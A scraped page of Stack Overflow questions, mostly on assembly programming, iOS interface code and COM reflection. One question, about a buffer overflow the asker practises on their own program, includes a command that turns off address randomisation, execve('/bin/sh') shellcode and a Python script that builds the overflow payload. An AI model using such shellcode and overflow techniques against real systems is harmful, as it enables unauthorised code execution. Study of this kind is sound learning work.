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  • Is AutoIt "Managed Code"?

    - by Gio Borje
    An extension of my previous thread: http://stackoverflow.com/questions/2634531/c-wrapping-an-application-within-another-application So I'm launching embedded resource applications via Reflection and I'm unsure whether I can use AutoIt (.au3) files or not. People say it needs to be "Managed Code". I'm not completely sure what that means nor do I know if AutoIt has that characteristic.

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  • Bing Maps - how to link to a push pin from a link outside the map

    - by Rajah
    I have a Virtual Earth Maps (Bing Maps??) to which I have added a set of pushpins. Each pushpin is labelled 1 to n. In addition to adding pushpins to the map, I also add text to the web-page that contains the description to each pushpin. I would like to add a link to the text outside the map, that when clicked will open the balloon associated with the corresponding pushpin. How do I open the balloon associated with a pushpin, through a link that exists outside the map? To get a better understanding, look at my map: link. When you click load, PushPins are added to the map. I would like to have a link from the list on the right of the map, that opens the corresponding PushPin. Thanks in advance!

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  • MIPS return address in main

    - by Alexander
    I am confused why in the code below I need to decrement the stack pointer and store the return address again. If I don't do that... then PCSpim keeps on looping.. Why is that? ######################################################################################################################## ### main ######################################################################################################################## .text .globl main main: addi $sp, $sp, -4 # Make space on stack sw $ra, 0($sp) # Save return address # Start test 1 ############################################################ la $a0, asize1 # 1st parameter: address of asize1[0] la $a1, frame1 # 2nd parameter: address of frame1[0] la $a2, window1 # 3rd parameter: address of window1[0] jal vbsme # call function # Printing $v0 add $a0, $v0, $zero # Load $v0 for printing li $v0, 1 # Load the system call numbers syscall # Print newline. la $a0, newline # Load value for printing li $v0, 4 # Load the system call numbers syscall # Printing $v1 add $a0, $v1, $zero # Load $v1 for printing li $v0, 1 # Load the system call numbers syscall # Print newline. la $a0, newline # Load value for printing li $v0, 4 # Load the system call numbers syscall # Print newline. la $a0, newline # Load value for printing li $v0, 4 # Load the system call numbers syscall ############################################################ # End of test 1 lw $ra, 0($sp) # Restore return address addi $sp, $sp, 4 # Restore stack pointer jr $ra # Return ######################################################################################################################## ### vbsme ######################################################################################################################## #.text .globl vbsme vbsme: addi $sp, $sp, -4 # create space on the stack pointer sw $ra, 0($sp) # save return address exit: add $v1, $t5, $zero # (v1) x coordinate of the block in the frame with the minimum SAD add $v0, $t4, $zero # (v0) y coordinate of the block in the frame with the minimum SAD lw $ra, 0($sp) # restore return address addi $sp, $sp, 4 # restore stack pointer jr $ra # return If I delete: addi $sp, $sp, -4 # create space on the stack pointer sw $ra, 0($sp) # save return address and lw $ra, 0($sp) # restore return address addi $sp, $sp, 4 # restore stack pointer on vbsme: PCSpim keeps on running... Why??? I shouldn't have to increment/decrement the stack pointer on vbsme and then do the jr again right? The jal in main is supposed to handle that

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  • Need to call COM component using reflections in C#.NET

    - by Usman
    Hello, I need to determin the COM component(unmanaged code) type and invoke the exposed interface's methods using reflection in C#.NET at runtime. 1 -- First What member of "Type" tells that type is COM component and we can take CLSID at runtime? Is Type.COMObject? 2 -- I need to call methods of exposed interfaces as they called in unmanaged code using CoCreateInstance by passing CLSID and REFID ... I am using InvokeMember but it returns null or 0 as out parameter. How to pass out parameter in this case.? Is there any need to pass out parameter? As all my COM unamanged code suppose to take las parameter as an OUT parameter and after executing it puts the result into that out param. But I've converted all my unmanged COM code to .NET managed assemblies using tlbimp.exe. Regards Usman

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  • - Button's positioning on UIToolBar in IB -

    - by gotye
    Hey guys, As a fervent adept of IB, I created a UIToolBar (in IB of course) and added to it a few buttons. So far so good ... but then I tried to move each of them to the right position but IB doesn't let me do it ... Each time I try to scroll them IB moves them back to the former position ! Is there a way to choose their position in IB ? If not, could you give me a piece of code for me to choose their position programatically ? (sigh :D) Thanks, Gotye.

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  • the carry flag issue!

    - by Zia ur Rahman
    Suppose AX =FFFE and BX=1234 now if we write cmp ax,bx (bx will be subtracted from ax and the approprite flages will be updated) now the binary representation of the numbers in ax and bx is given by AX = 1111 1111 1111 1110 BX= 0001 0010 0011 0100 As bx will be subtracted from ax so we have to negate bx (as Result= ax+(-bx)) so the negated bx (2's complement of bx ) is given by. BX= 1110 1101 1100 1100 Now we add both ax and bx (as subtraction is implemented by addition in computer) AX= 1111 1111 1111 1110 BX= 1110 1101 1100 1100 ------------------------------------ 1 1110 1101 1100 1010 Now as you can see the result is of 17 bits now the 17th bit should go into carry flage, but when i checked it the carry flag is 0 that is CF=0 why?

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  • x86 opcode alignment references and guidelines

    - by mrjoltcola
    I'm generating some opcodes dynamically in a JIT compiler and I'm looking for guidelines for opcode alignment. 1) I've read comments that briefly "recommend" alignment by adding nops after calls 2) I've also read about using nop for optimizing sequences for parallelism. 3) I've read that alignment of ops is good for "cache" performance Usually these comments don't give any supporting references. Its one thing to read a blog or a comment that says, "its a good idea to do such and such", but its another to actually write a compiler that implements specific op sequences and realize most material online, especially blogs, are not useful for practical application. So I'm a believer in finding things out myself (disassembly, etc. to see what real world apps do). This is one case where I need some outside info. I notice compilers will usually start an odd byte instruction immediately after whatever previous instruction sequence there was. So the compiler is not taking any special care in most cases. I see "nop" here or there, but usually it seems nop is used sparingly, if at all. How critical is opcode alignment? Can you provide references for cases that I can actually use for implementation? Thanks.

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  • teaching my self Z/OS assembler?

    - by Jared
    'I've interned at a company that does a lot of mainframe work. Most of my mainframe experience has been using Java and Unix System Services. I've had some experience with the ISPF interface and C but none with assembler. I’m graduating shortly and will be taking an independent study my last semester. I’d like to stick with the mainframe and was wondering what resources could teach me mainframe assembler? Note I don’t have experience writing assembler for any platform but do understand binary, hex, and have a theoretical understanding of registers.

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  • Setting width of UISegmentedControl after removing a segment

    - by David Foster
    I have a UISegmentedControl of width 280. In code, I need to remove the third segment, set the UISegmentedControl's width to 200 and then re-centralise. By configuring the springs and struts in IB, I have set the segmented control up such that when I set the width directly it will automatically re-centre. However, when setting the width in code, is it true I need to set it via -setFrame? If this is the case, then I also need to set its X origin, which renders my auto-centralising redundant. My code: [segmentedControl removeSegmentAtIndex:2 animated:NO]; [segmentedControl setFrame:CGRectMake(segmentedControl.frame.origin.x + ((segmentedControl.frame.size.width - TWO_SEGMENT_SEGMENTED_CONTROL_WIDTH) / 2), segmentedControl.frame.origin.y, TWO_SEGMENT_SEGMENTED_CONTROL_WIDTH, segmentedControl.frame.size.height)]; This works, but seems hugely overblown for my purposes. Is there really no simpler way to set solely the width of the control in code?

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  • Equivalents to Z80 DJNZ instruction on other architectures?

    - by Justin Ethier
    First a little background. The z80 CPU has an instruction called DJNZ which can be used in a similar manner as a for loop. Basically DJNZ decrements the B register and jumps to a label if not zero. For example: ld b,96 ; erase all of the line disp_version_erase_loop: call _vputblank ; erase pixels at cursor (uses b reg) djnz disp_version_erase_loop ; loop Of course you can do the same thing using regular comparison and jump instructions, but often it is handy to use the single instruction. With that out of the way, my question is, do other CPU architectures include a similar control instruction?

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  • Polled I/O on MIPS

    - by Krewie
    Hello , i'm currently implementing a calculator in MIPS which uses the polled I/O method for fetching information. I put a beq $v0, 120, exit # exit if input = ('x') on the main part of the code to tell that whenever something is fetched is equal to x, it should branch the exit function. The only problem is that my code works fine with the keyboard/display simulator on MARS but i get the interrupt exception 6 on SPIM. Why is this happening and how can i help it ? //Thx in advance

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  • UIButton doesn't appear on UIToolbar

    - by Sheehan Alam
    I have a UIToolbar where I have dragged a UIButton. When I set the button properties to Custom, and assign an image (or background image) the graphics don't appear. However, when I give it a custom text, the text will appear. Why is it that the images don't appear?

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  • Custom UITableViewCell with 2 UILabel's resized

    - by petert
    I'm struggling to create a custom UITableViewCell (in IB) that has a UIImageView on the left, fixed to the top left corner, then 2 UILabel's adjacent to it, side by side. So the cell looks something like: +---------------------------+ | IMAGE LABEL1 LABEL2 > | +---------------------------+ What I cannot seem to do is to change the frame of LABEL1 so it fits the text is contains, then make sure LABEL2 moves to the left (or right) so it ends up directly adjacent to it, filling all the space for the rest of the cell. So, concentrating on the label text, I'd like cell to look like this: +---------------------------+ | IMAGE Call 123456 > | +---------------------------+ after I've set LABEL1 to "Call" and LABEL2 to "123456" in: - (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath Actually I can resize LABEL1 with this: CGSize sizeToMakeLabel = [label.text sizeWithFont:label.font]; label.frame = CGRectMake(label.frame.origin.x, label.frame.origin.y, sizeToMakeLabel.width + 3, sizeToMakeLabel.height); Now the frame for the text "Call" fits this text (confirmed by setting a background color), but the text "123456" doesn't seem to shift to the left, whatever autosizing I set in IB, or methods to resize the cells view? I seem to need the +3 to make sure "Call" didn't look like this "C…" also? I'm using 2 labels so LABEL1 can be in a bold font say.

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  • UISwitch propagate state

    - by Reonarudo
    Hello, I'm still rather new to iPhone development and I tried something I didn't it was possible. I have a UIView for my TableView Section Header with a switch on it, and I also have a UITableCellView with another Switch on it. It all looks fine, but now I want to propagate the UISwitch state from the section header to all the UISwitches on the section rows. Can anyone enlighten me how can I accomplish this? Thank you.

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  • Problem with bootstrap loader and kernel

    - by dboarman-FissureStudios
    We are working on a project to learn how to write a kernel and learn the ins and outs. We have a bootstrap loader written and it appears to work. However we are having a problem with the kernel loading. I'll start with the first part: bootloader.asm: [BITS 16] [ORG 0x0000] ; ; all the stuff in between ; ; the bottom of the bootstrap loader datasector dw 0x0000 cluster dw 0x0000 ImageName db "KERNEL SYS" msgLoading db 0x0D, 0x0A, "Loading Kernel Shell", 0x0D, 0x0A, 0x00 msgCRLF db 0x0D, 0x0A, 0x00 msgProgress db ".", 0x00 msgFailure db 0x0D, 0x0A, "ERROR : Press key to reboot", 0x00 TIMES 510-($-$$) DB 0 DW 0xAA55 ;************************************************************************* The bootloader.asm is too long for the editor without causing it to chug and choke. In addition, the bootloader and kernel do work within bochs as we do get the message "Welcome to our OS". Anyway, the following is what we have for a kernel at this point. kernel.asm: [BITS 16] [ORG 0x0000] [SEGMENT .text] ; code segment mov ax, 0x0100 ; location where kernel is loaded mov ds, ax mov es, ax cli mov ss, ax ; stack segment mov sp, 0xFFFF ; stack pointer at 64k limit sti mov si, strWelcomeMsg ; load message call _disp_str mov ah, 0x00 int 0x16 ; interrupt: await keypress int 0x19 ; interrupt: reboot _disp_str: lodsb ; load next character or al, al ; test for NUL character jz .DONE mov ah, 0x0E ; BIOS teletype mov bh, 0x00 ; display page 0 mov bl, 0x07 ; text attribute int 0x10 ; interrupt: invoke BIOS jmp _disp_str .DONE: ret [SEGMENT .data] ; initialized data segment strWelcomeMsg db "Welcome to our OS", 0x00 [SEGMENT .bss] ; uninitialized data segment Using nasm 2.06rc2 I compile as such: nasm bootloader.asm -o bootloader.bin -f bin nasm kernel.asm -o kernel.sys -f bin We write bootloader.bin to the floppy as such: dd if=bootloader.bin bs=512 count=1 of/dev/fd0 We write kernel.sys to the floppy as such: cp kernel.sys /dev/fd0 As I stated, this works in bochs. But booting from the floppy we get output like so: Loading Kernel Shell ........... ERROR : Press key to reboot Other specifics: OpenSUSE 11.2, GNOME desktop, AMD x64 Any other information I may have missed, feel free to ask. I tried to get everything in here that would be needed. If I need to, I can find a way to get the entire bootloader.asm posted somewhere. We are not really interested in using GRUB either for several reasons. This could change, but we want to see this boot successful before we really consider GRUB.

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  • branch prediction

    - by Alexander
    Consider the following sequence of actual outcomes for a single static branch. T means the branch is taken. N means the branch is not taken. For this question, assume that this is the only branch in the program. T T T N T N T T T N T N T T T N T N Assume a two-level branch predictor that uses one bit of branch history—i.e., a one-bit BHR. Since there is only one branch in the program, it does not matter how the BHR is concatenated with the branch PC to index the BHT. Assume that the BHT uses one-bit counters and that, again, all entries are initialized to N. Which of the branches in this sequence would be mis-predicted? Use the table below. Now I am not asking answers to this question, rather than guides and pointers on this. What does a two level branch predictor means and how does it works? What does the BHR and BHT stands for?

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  • Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328 Debugging with gdb: $ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.

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  • Passing paramenters on the stack

    - by oxinabox.ucc.asn.au
    When you pass parameters to a function on the cpu stack, You put the parameters on then JSR puts the return address on the stack. So than means in your function you must take the top item of the stack (the return address) before you can take the others off) eg is the following the correct way to go about it: ... |Let’s do some addition with a function, MOVE.L #4, -(SP) MOVE.L #5, -(SP) JSR add |the result of the addition (4+5) is in D0 (9) ... add: MOVE.L (SP)+, A1 |store the return address |in a register MOVE.L D0, -(SP) |get 1st parameter, put in D0 MOVE.L D2, -(SP) |get 2nd parameter, put in D0 ADD.L D2, D0 |add them, |storing the result in D0 MOVE.L A1, -(SP) |put the address back on the |Stack RTS |return

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  • Doubt about the Intel's IA-32 software developer manual

    - by Francesco Turco
    I'm studying the Intel's IA-32 software developer manual. In particular, I'm reading the following manual: http://www.intel.com/Assets/PDF/manual/253666.pdf. Let's take for example the ADD instruction. On page 79 it is written that you can an r8 (8-bit register) to an r/m8 (8-bit register or memory location). A few rows below, it is also written that you can add an r/m8 to an r8. The question is: if I add two 8-bit registers, which instruction I am using? Thanks.

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  • flex transition effects works on 2nd and after transition, but not on very first transition

    - by Rees
    i have a flex app that transitions between 2 states with the toggle of a button. my issue is that the effect of fading only seems to work on the 2nd transition and after. However, for my first transition... going from State1 to studyState... there is no fade effect whatsoever, in fact the components in state1 disappear completely (the footer fills the empty gap where the "body" use to be) and then the flex recreates the studyState (without any fade refilling the "body" with components only in studyState). After this first transition however, going between studyState and State1 working COMPLETELY fine.. why does this happen and how can i make it so that crossfade works STARTING FROM THE VERY FIRST TRANSITION? please help! <s:VGroup id="globalGroup" includeIn="State1" width="100%"></Vgroup> <s:VGroup id="studyGroup" includeIn="studyState" width="100%"></Vgroup>

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  • Binding the textDidChange event on a NSTextField to a MacRuby delegate

    - by kolrie
    I have a NSTextField within a Window and I created a very simple MacRuby delegate: class ServerInputDelegate attr_accessor :parent def textDidChange(notification) NSLog notification.inspect parent.filter end end And I have tried setting the control's delegate: I have tried setting the Window and every other object I could think of to this delegate. I have also tried setting it to other delegates (application for instance) and events like applicationDidFinishLaunching are being properly triggered. Is there any trick I am missing in order for this event to be triggered every time the contents of this NSTextField changes?

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